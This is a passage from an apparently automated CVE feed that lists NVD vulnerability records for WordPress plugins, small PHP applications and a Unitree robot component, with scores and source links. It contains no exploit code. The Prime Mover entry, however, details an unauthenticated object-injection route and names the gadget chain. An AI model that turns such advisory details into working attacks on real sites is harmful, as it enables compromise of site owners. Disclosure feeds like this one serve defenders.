EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114695&date=2026-10-25).
Sources:
NVD CVE-2026-114695: https://nvd.nist.gov/vuln/detail/CVE-2026-114695
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114695&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Infomaniak Network VOD Infomaniak vod-infomaniak allows Stored XSS.This issue affects VOD Infomaniak: from n/a through 1.5.14.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QuarkA QA Analytics qa-heatmap-analytics allows Stored XSS.This issue affects...
https://kevwire.com/record/CVE-2026-114697
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QuarkA QA Analytics qa-heatmap-analytics allows Stored XSS.This issue affects... (Oct 24, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QuarkA QA Analytics qa-heatmap-analytics allows Stored XSS.This issue affects QA Analytics: from n/a through 5.3.0.1.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114697).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114697&date=2026-10-25).
Sources:
NVD CVE-2026-114697: https://nvd.nist.gov/vuln/detail/CVE-2026-114697
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114697&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QuarkA QA Analytics qa-heatmap-analytics allows Stored XSS.This issue affects QA Analytics: from n/a through 5.3.0.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in Christoph Vielgrader Relevanssi  relevanssi allows Object Injection.This issue affects Relevanssi : from n/a through 4.28.4.
https://kevwire.com/record/CVE-2026-114704
Deserialization of Untrusted Data vulnerability in Christoph Vielgrader Relevanssi  relevanssi allows Object Injection.This issue affects Relevanssi : from n/a through 4.28.4. (Oct 24, 2026).
Deserialization of Untrusted Data vulnerability in Christoph Vielgrader Relevanssi  relevanssi allows Object Injection.This issue affects Relevanssi : from n/a through 4.28.4.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114704).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114704&date=2026-10-25).
Sources:
NVD CVE-2026-114704: https://nvd.nist.gov/vuln/detail/CVE-2026-114704
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114704&date=2026-10-25
Deserialization of Untrusted Data vulnerability in Christoph Vielgrader Relevanssi  relevanssi allows Object Injection.This issue affects Relevanssi : from n/a through 4.28.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Prime Mover – Backup and Migration plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.2.1 via deserialization of untrusted...
https://kevwire.com/record/CVE-2026-115806
The Prime Mover – Backup and Migration plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.2.1 via deserialization of untrusted... (Oct 24, 2026).
The Prime Mover – Backup and Migration plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.2.1 via deserialization of untrusted input in the migration search-and-replace routine (recursiveUnserializeReplace()). An unauthenticated attacker can store a crafted, base64-encoded serialized object in wp_comments.comment_content through the standard comment-submission endpoint (wp-comments-post.php). When an administrator subsequently performs a routine Prime Mover export or restore, the plugin base64-decodes that stored value and passes it to unserialize() with no allowed_classes restriction. A Property-Oriented Programming (POP) chain is present in the plugin's own bundled Freemius library (FS_Clone_Manager::__set → FS_Option_Manager::set_option → store() → update_option()), so no additional plugin or theme is required — the plugin ships the gadget itself.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115806).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115806&date=2026-10-25).
Sources:
NVD CVE-2026-115806: https://nvd.nist.gov/vuln/detail/CVE-2026-115806
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115806&date=2026-10-25
The Prime Mover – Backup and Migration plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.2.1 via deserialization of untrusted input in the migration search-and-replace routine (recursiveUnserializeReplace()). An unauthenticated attacker can store a crafted, base64-encoded serialized object in wp_comments.comment_content through the standard comment-submission endpoint (wp-comments-post.php). When an administrator subsequently performs a routine Prime Mover export or restore, the plugin base64-decodes that stored value and passes it to unserialize() with no allowed_classes restriction. A Property-Oriented Programming (POP) chain is present in the plugin's own bundled Freemius library (FS_Clone_Manager::__set → FS_Option_Manager::set_option → store() → update_option()), so no additional plugin or theme is required — the plugin ships the gadget itself.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Limited Privilege Escalation in all versions...
https://kevwire.com/record/CVE-2026-115807
The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Limited Privilege Escalation in all versions... (Oct 24, 2026).
The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Limited Privilege Escalation in all versions up to, and including, 4.0.3. This is due to the Gutenberg Register block passing the attacker-controlled Assigned Role attribute directly into the `[wppb-register]` shortcode without server-side authorization. The role guard in the form builder only downgrades roles that carry the manage_options or remove_users capability, leaving the Editor role and other privileged non-Administrator roles completely unrestricted. This makes it possible for authenticated attackers with Author-level access and above to create new WordPress accounts bearing the Editor role (or any other role that lacks the two guarded capabilities).
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115807).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115807&date=2026-10-25).
Sources:
NVD CVE-2026-115807: https://nvd.nist.gov/vuln/detail/CVE-2026-115807
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115807&date=2026-10-25
The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Limited Privilege Escalation in all versions up to, and including, 4.0.3. This is due to the Gutenberg Register block passing the attacker-controlled Assigned Role attribute directly into the `[wppb-register]` shortcode without server-side authorization. The role guard in the form builder only downgrades roles that carry the manage_options or remove_users capability, leaving the Editor role and other privileged non-Administrator roles completely unrestricted. This makes it possible for authenticated attackers with Author-level access and above to create new WordPress accounts bearing the Editor role (or any other role that lacks the two guarded capabilities).

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in Travisun Opptrix 0.4.0. This affects an unknown function of the file /api/auth/setup of the component Schedule API.
https://kevwire.com/record/CVE-2026-115969
A flaw has been found in Travisun Opptrix 0.4.0. This affects an unknown function of the file /api/auth/setup of the component Schedule API. (Oct 24, 2026).
A flaw has been found in Travisun Opptrix 0.4.0. This affects an unknown function of the file /api/auth/setup of the component Schedule API. This manipulation causes command injection. It is possible to initiate the attack remotely. The exploit has been published and may be used. The project has been completely taken offline and deprecated. The project maintainer explains: "The mentioned security risk was a design flaw that manifested primarily in local environments during earlier stages of version development. We previously addressed and resolved this specific risk; however, because the project was restricted to a small learning scope and the main versions were intended to run exclusively on localhost, the security fix was only pushed directly to our GitHub repository before it went private." This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115969).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115969&date=2026-10-25).
Sources:
NVD CVE-2026-115969: https://nvd.nist.gov/vuln/detail/CVE-2026-115969
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115969&date=2026-10-25
A flaw has been found in Travisun Opptrix 0.4.0. This affects an unknown function of the file /api/auth/setup of the component Schedule API. This manipulation causes command injection. It is possible to initiate the attack remotely. The exploit has been published and may be used. The project has been completely taken offline and deprecated. The project maintainer explains: "The mentioned security risk was a design flaw that manifested primarily in local environments during earlier stages of version development. We previously addressed and resolved this specific risk; however, because the project was restricted to a small learning scope and the main versions were intended to run exclusively on localhost, the security fix was only pushed directly to our GitHub repository before it went private." This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in Travisun Opptrix 0.4.0. This impacts an unknown function of the file /api/system-update/import of the component Import Endpoint.
https://kevwire.com/record/CVE-2026-115970
A vulnerability has been found in Travisun Opptrix 0.4.0. This impacts an unknown function of the file /api/system-update/import of the component Import Endpoint. (Oct 24, 2026).
A vulnerability has been found in Travisun Opptrix 0.4.0. This impacts an unknown function of the file /api/system-update/import of the component Import Endpoint. Such manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The project has been completely taken offline and deprecated. The project maintainer explains: "The mentioned security risk was a design flaw that manifested primarily in local environments during earlier stages of version development. We previously addressed and resolved this specific risk; however, because the project was restricted to a small learning scope and the main versions were intended to run exclusively on localhost, the security fix was only pushed directly to our GitHub repository before it went private." This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115970).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115970&date=2026-10-25).
Sources:
NVD CVE-2026-115970: https://nvd.nist.gov/vuln/detail/CVE-2026-115970
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115970&date=2026-10-25
A vulnerability has been found in Travisun Opptrix 0.4.0. This impacts an unknown function of the file /api/system-update/import of the component Import Endpoint. Such manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The project has been completely taken offline and deprecated. The project maintainer explains: "The mentioned security risk was a design flaw that manifested primarily in local environments during earlier stages of version development. We previously addressed and resolved this specific risk; however, because the project was restricted to a small learning scope and the main versions were intended to run exclusively on localhost, the security fix was only pushed directly to our GitHub repository before it went private." This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in Unitree Robotics Unitree Go2 up to 1.1.11.4. The impacted element is the function set_volume of the file gpt_thread.py of the...
https://kevwire.com/record/CVE-2026-115995
A security vulnerability has been detected in Unitree Robotics Unitree Go2 up to 1.1.11.4. The impacted element is the function set_volume of the file gpt_thread.py of the... (Oct 24, 2026).
A security vulnerability has been detected in Unitree Robotics Unitree Go2 up to 1.1.11.4. The impacted element is the function set_volume of the file gpt_thread.py of the component chat_go. Such manipulation of the argument Value leads to os command injection. The attack can be launched remotely. Upgrading to version 1.1.11.5 is sufficient to resolve this issue. You should upgrade the affected component. The vendor confirmed early: "Submission 990502 corresponds to our internal ticket #474 (Go2 chat_go set_volume OS command injection, CWE-78)."
CVSS 9.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115995).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115995&date=2026-10-25).
Sources:
NVD CVE-2026-115995: https://nvd.nist.gov/vuln/detail/CVE-2026-115995
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115995&date=2026-10-25
A security vulnerability has been detected in Unitree Robotics Unitree Go2 up to 1.1.11.4. The impacted element is the function set_volume of the file gpt_thread.py of the component chat_go. Such manipulation of the argument Value leads to os command injection. The attack can be launched remotely. Upgrading to version 1.1.11.5 is sufficient to resolve this issue. You should upgrade the affected component. The vendor confirmed early: "Submission 990502 corresponds to our internal ticket #474 (Go2 chat_go set_volume OS command injection, CWE-78)."

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in mansi-k Restaurant_IMS d7ad49f61ab7cc1ec6eb359ac2b5378bdbde0694. Affected is the function mysqli_connect of the file lsmodal.php.
https://kevwire.com/record/CVE-2026-115999
A vulnerability has been found in mansi-k Restaurant_IMS d7ad49f61ab7cc1ec6eb359ac2b5378bdbde0694. Affected is the function mysqli_connect of the file lsmodal.php. (Oct 25, 2026).
A vulnerability has been found in mansi-k Restaurant_IMS d7ad49f61ab7cc1ec6eb359ac2b5378bdbde0694. Affected is the function mysqli_connect of the file lsmodal.php. The manipulation of the argument login_id/epsw leads to sql injection. Remote exploitation of the attack is possible. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 6.9 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115999).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115999&date=2026-10-25).
Sources:
NVD CVE-2026-115999: https://nvd.nist.gov/vuln/detail/CVE-2026-115999
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115999&date=2026-10-25
A vulnerability has been found in mansi-k Restaurant_IMS d7ad49f61ab7cc1ec6eb359ac2b5378bdbde0694. Affected is the function mysqli_connect of the file lsmodal.php. The manipulation of the argument login_id/epsw leads to sql injection. Remote exploitation of the attack is possible. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. Affected by this vulnerability is the function mysql_query of...
https://kevwire.com/record/CVE-2026-116048
A vulnerability was detected in krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. Affected by this vulnerability is the function mysql_query of... (Oct 25, 2026).
A vulnerability was detected in krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. Affected by this vulnerability is the function mysql_query of the file /source/registerform1.php of the component Registration. Performing a manipulation of the argument firstname/middlename/lastname/gender/birthdate/state/statespecify/city/cityspecify results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116048).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-116048&date=2026-10-25).
Sources:
NVD CVE-2026-116048: https://nvd.nist.gov/vuln/detail/CVE-2026-116048
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-116048&date=2026-10-25
A vulnerability was detected in krupalshah EmployeeRecruitmentSystem up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. Affected by this vulnerability is the function mysql_query of the file /source/registerform1.php of the component Registration. Performing a manipulation of the argument firstname/middlename/lastname/gender/birthdate/state/statespecify/city/cityspecify results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in krupalshah Employee Recruitment System up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. This affects an unknown part of the file...
https://kevwire.com/record/CVE-2026-116050
A vulnerability has been found in krupalshah Employee Recruitment System up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. This affects an unknown part of the file... (Oct 25, 2026).
A vulnerability has been found in krupalshah Employee Recruitment System up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. This affects an unknown part of the file /source/registerform3.php of the component Registration. The manipulation of the argument pemail leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116050).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-116050&date=2026-10-25).
Sources:
NVD CVE-2026-116050: https://nvd.nist.gov/vuln/detail/CVE-2026-116050
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-116050&date=2026-10-25
A vulnerability has been found in krupalshah Employee Recruitment System up to 922ff6d208278282e7c8e36d70d9ae356adec9fe. This affects an unknown part of the file /source/registerform3.php of the component Registration. The manipulation of the argument pemail leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in SourceCodester Performance Indicator System 1.0. This vulnerability affects unknown code of the file /opils/staff/edit_dealer.php.
https://kevwire.com/record/CVE-2026-116061
A vulnerability was identified in SourceCodester Performance Indicator System 1.0. This vulnerability affects unknown code of the file /opils/staff/edit_dealer.php. (Oct 25, 2026).
A vulnerability was identified in SourceCodester Performance Indicator System 1.0. This vulnerability affects unknown code of the file /opils/staff/edit_dealer.php. The manipulation of the argument Contact leads to sql injection. The attack may be initiated remotely. The exploit is publicly available and might be used.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116061).
Sources:
NVD CVE-2026-116061: https://nvd.nist.gov/vuln/detail/CVE-2026-116061
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was identified in SourceCodester Performance Indicator System 1.0. This vulnerability affects unknown code of the file /opils/staff/edit_dealer.php. The manipulation of the argument Contact leads to sql injection. The attack may be initiated remotely. The exploit is publicly available and might be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in SourceCodester Performance Indicator System 1.0. This issue affects some unknown processing of the file /opils/staff/save_profile.php.
https://kevwire.com/record/CVE-2026-116062
A security flaw has been discovered in SourceCodester Performance Indicator System 1.0. This issue affects some unknown processing of the file /opils/staff/save_profile.php. (Oct 25, 2026).
A security flaw has been discovered in SourceCodester Performance Indicator System 1.0. This issue affects some unknown processing of the file /opils/staff/save_profile.php. The manipulation of the argument Contact results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116062).
Sources:
NVD CVE-2026-116062: https://nvd.nist.gov/vuln/detail/CVE-2026-116062
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A security flaw has been discovered in SourceCodester Performance Indicator System 1.0. This issue affects some unknown processing of the file /opils/staff/save_profile.php. The manipulation of the argument Contact results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in EyouCMS up to 1.8.3. This impacts the function remote_file_to_local of the file application/function.php.
https://kevwire.com/record/CVE-2026-116094
A vulnerability was determined in EyouCMS up to 1.8.3. This impacts the function remote_file_to_local of the file application/function.php. (Oct 25, 2026).
A vulnerability was determined in EyouCMS up to 1.8.3. This impacts the function remote_file_to_local of the file application/function.php. Executing a manipulation can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116094).
Sources:
